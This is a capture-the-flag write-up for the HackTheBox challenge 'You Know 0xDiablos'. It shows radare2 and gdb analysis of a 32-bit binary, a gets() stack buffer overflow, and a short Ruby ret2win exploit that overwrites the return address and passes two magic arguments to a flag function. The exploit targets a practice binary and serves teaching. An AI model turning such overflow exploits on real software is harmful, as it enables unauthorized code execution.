You Know 0xDiablos Writeup
10 September 2022 #CTF #HTB #chall #easy #pwnFirst Look
The first (crucial) step is to download the executable we are trying to exploit. Trying to work on the remote instance is not a good idea.
We can run the file
command to learn about this executable:
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=ab7f19bb67c16ae453d4959fba4e6841d930a6dd, for GNU/Linux 3.2.0, not stripped
'ELF' stands for Executable and Linkable Format, that's good to know. It is also 32 bit.
We should run it normaly to see how it works:
$ ./vuln
You know who are 0xDiablos:
test
test
It just waits for input, then echoes it back to us.
Static Analysis
Now is time to fire up radare2, a reverse engeneering tool:
$ r2 vuln
[0x080490d0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x080490d0]> afl
0x080490d0 1 50 entry0
0x08049103 1 4 fcn.08049103
0x08049090 1 6 sym.imp.__libc_start_main
0x08049130 4 49 -> 40 sym.deregister_tm_clones
0x08049170 4 57 -> 53 sym.register_tm_clones
0x080491b0 3 33 -> 30 sym.__do_global_dtors_aux
0x080491e0 1 2 entry.init0
0x08049390 1 1 sym.__libc_csu_fini
0x08049120 1 4 sym.__x86.get_pc_thunk.bx
0x08049391 1 4 sym.__x86.get_pc_thunk.bp
0x08049272 1 63 sym.vuln
0x08049040 1 6 sym.imp.gets
0x08049070 1 6 sym.imp.puts
0x08049398 1 20 sym._fini
0x08049330 4 93 sym.__libc_csu_init
0x08049110 1 1 sym._dl_relocate_static_pie
0x080492b1 1 118 main
0x080490a0 1 6 sym.imp.setvbuf
0x08049060 1 6 sym.imp.getegid
0x080490c0 1 6 sym.imp.setresgid
0x080491e2 8 144 sym.flag
0x080490b0 1 6 sym.imp.fopen
0x08049080 1 6 sym.imp.exit
0x08049050 1 6 sym.imp.fgets
0x08049030 1 6 sym.imp.printf
0x08049000 3 32 sym._init
aaa
: analyze the binary (find function names, etc)afl
: list all functions
main()
Right off the bat, we notice 2 functions called vuln
and flag
which definitely look interesting, but let's start with the main function:
[0x080490d0]> s main
[0x080492b1]> pdf
[...]
│ 0x08049304 8d8338e0ffff lea eax, [ebx - 0x1fc8]
│ 0x0804930a 50 push eax ; const char *s
│ 0x0804930b e860fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x08049310 83c410 add esp, 0x10
│ 0x08049313 e85affffff call sym.vuln
[...]
s main
: seek (go to) to the address of the main functionpdf
: disassemble the current function
We see the call to puts
which prints 'You know who are 0xDiablos:' before calling vuln
.
vuln()
Here is the vuln
function:
[0x080492b1]> s sym.vuln
[0x08049272]> pdf
; CALL XREF from main @ 0x8049313
┌ 63: sym.vuln ();
│ ; var char *s @ ebp-0xb8
│ ; var int32_t var_4h @ ebp-0x4
│ 0x08049272 55 push ebp
│ 0x08049273 89e5 mov ebp, esp
│ 0x08049275 53 push ebx
│ 0x08049276 81ecb4000000 sub esp, 0xb4
│ 0x0804927c e89ffeffff call sym.__x86.get_pc_thunk.bx
│ 0x08049281 81c37f2d0000 add ebx, 0x2d7f
│ 0x08049287 83ec0c sub esp, 0xc
│ 0x0804928a 8d8548ffffff lea eax, [s]
│ 0x08049290 50 push eax ; char *s
│ 0x08049291 e8aafdffff call sym.imp.gets ; char *gets(char *s)
│ 0x08049296 83c410 add esp, 0x10
│ 0x08049299 83ec0c sub esp, 0xc
│ 0x0804929c 8d8548ffffff lea eax, [s]
│ 0x080492a2 50 push eax ; const char *s
│ 0x080492a3 e8c8fdffff call sym.imp.puts ; int puts(const char *s)
[...]
There is this variable s
which is a buffer stored on the stack and a call to the gets
function.
gets
does not check how many bytes it copies into the buffer, meaning we can overwrite the stack and do bad things.
flag()
Remember that flag
function we saw earlier? Let's check it out:
[0x080491e2]> s sym.flag
[0x080491e2]> pdf
┌ 144: sym.flag (uint32_t arg_8h, uint32_t arg_ch);
│ ; var char *format @ ebp-0x4c
│ ; var file*stream @ ebp-0xc
│ ; var int32_t var_4h @ ebp-0x4
│ ; arg uint32_t arg_8h @ ebp+0x8
│ ; arg uint32_t arg_ch @ ebp+0xc
[...]
│ 0x08049205 e8a6feffff call sym.imp.fopen ; file*fopen(const char *filename, const char *mode)
│ 0x0804920a 83c410 add esp, 0x10
│ 0x0804920d 8945f4 mov dword [stream], eax
│ 0x08049210 837df400 cmp dword [stream], 0
│ ┌─< 0x08049214 751c jne 0x8049232
│ │ 0x08049216 83ec0c sub esp, 0xc
│ │ 0x08049219 8d8314e0ffff lea eax, [ebx - 0x1fec]
│ │ 0x0804921f 50 push eax ; const char *s
│ │ 0x08049220 e84bfeffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x08049225 83c410 add esp, 0x10
│ │ 0x08049228 83ec0c sub esp, 0xc
│ │ 0x0804922b 6a00 push 0 ; int status
│ │ 0x0804922d e84efeffff call sym.imp.exit ; void exit(int status)
│ └─> 0x08049232 83ec04 sub esp, 4
│ 0x08049235 ff75f4 push dword [stream] ; FILE *stream
│ 0x08049238 6a40 push 0x40 ; '@' ; 64 ; int size
│ 0x0804923a 8d45b4 lea eax, [format]
│ 0x0804923d 50 push eax ; char *s
│ 0x0804923e e80dfeffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
│ 0x08049243 83c410 add esp, 0x10
│ 0x08049246 817d08efbead. cmp dword [arg_8h], 0xdeadbeef
│ ┌─< 0x0804924d 751a jne 0x8049269
│ │ 0x0804924f 817d0c0dd0de. cmp dword [arg_ch], 0xc0ded00d
│ ┌──< 0x08049256 7514 jne 0x804926c
│ ││ 0x08049258 83ec0c sub esp, 0xc
│ ││ 0x0804925b 8d45b4 lea eax, [format]
│ ││ 0x0804925e 50 push eax ; const char *format
│ ││ 0x0804925f e8ccfdffff call sym.imp.printf ; int printf(const char *format)
[...]
This function is a bit bigger but essentialy:
- Try to open a file
- If it can't: print something and exits
- If it can: read the file
- Check if the 2 arguments of the function are equal to some value
- Check successful: print the contents of the file
- Check failed: exit
If I had to guess, the file contains our flag (:
However, you may have noticed this function is not called anywhere...
Exploitation
Preparation
Our goal is to somehow call this flag
function. To do that, we have to take advantage of the buffer overflow to overwrite the eip register which contains the address of next instruction to be executed.
WTF bro I don't understand any of what you just said!
Then you should watch liveoverflow's binary exploitation playlist, it is a really good introduction (and even more).
The first step is to know how many bytes are needed to overwrite eip.
This time, we will use gdb
with the gef extension.
Create a unique pattern with the pattern create
command that we'll use as input:
$ gdb vuln
[...]
gef> pattern create 200
[+] Generating a pattern of 200 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
gef> r
You know who are 0xDiablos:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
[...]
$eip : 0x62616177 ("waab"?)
[...]
run pattern offset
to get the offset:
gef> pattern offset waab
[+] Searching for 'waab'
[+] Found at offset 188 (big-endian search)
Nice, we know that we need 188 bytes of padding before overwriting eip and the flag
function is at address 0x080491e2 (check with radare).
Exploit script
Let's write a simple exploit in ruby:
padding = 'A' * 188
eip = 0x080491e2 # address of flag function
payload = padding
payload += [eip].pack 'L'
puts payload
Nothing fancy, we have our 188 bytes of padding and the address of the flag
function.
We must use pack
to put the bytes in little endian. (computers store bytes in reverse order, weird I know...)
Let's first test it in gdb. Set a breakpoint after the gets
call to inspect the registers after our payload:
$ ruby pwn.rb > payload
$ gdb vuln
[...]
gef> b *0x08049296
gef> r < payload
[...]
$eip : 0x80491e2 → <flag+0> push ebp
[...]
Perfect, we successfuly overwrote the eip register and jumped to the flag
function.
Let's test it for 'real':
$ ruby pwn.rb | ./vuln
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hurry up and try in on server side.
Final Step
Spoiler: we can't use this on server side yet.
Remember when we analyzed the flag
function? At some point, it compares the arguments of the function to some values.
We have to pass those values as arguments to the flag
function. Since it is a 32 bit executable, arguments are pushed on the stack in reverse order.
That means our payload should look like this:
- 188 bytes of padding (AAAAA...)
- overwrite saved eip with address of
flag
function (0x080491e2) - return address for the
flag
function (we can put junk here because we don't care that the program crashes after giving us the flag) - value of first argument (0xdeadbeef)
- value of second argument (0xc0ded00d)
padding = 'A' * 188
eip = 0x080491e2 # address of flag function
arg1 = 0xdeadbeef
arg2 = 0xc0ded00d
payload = padding
payload += [eip].pack 'L'
payload += 'lmao' # random bytes as padding
payload += [arg1].pack 'L'
payload += [arg2].pack 'L'
puts payload
In order to test this payload, we should create a file called 'flag.txt' (this is the file that the flag
function tries to open).
$ echo 'YOU WON' > flag.txt
$ ruby pwn.rb | ./vuln
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlmaoᆳ
YOU WON
zsh: done ruby pwn.rb |
zsh: segmentation fault (core dumped) ./vuln
Nice, now we can use this on the remote instance and get our flag.
Key Takeaways
gets
== buffer overflow (most of the time)- Fuck python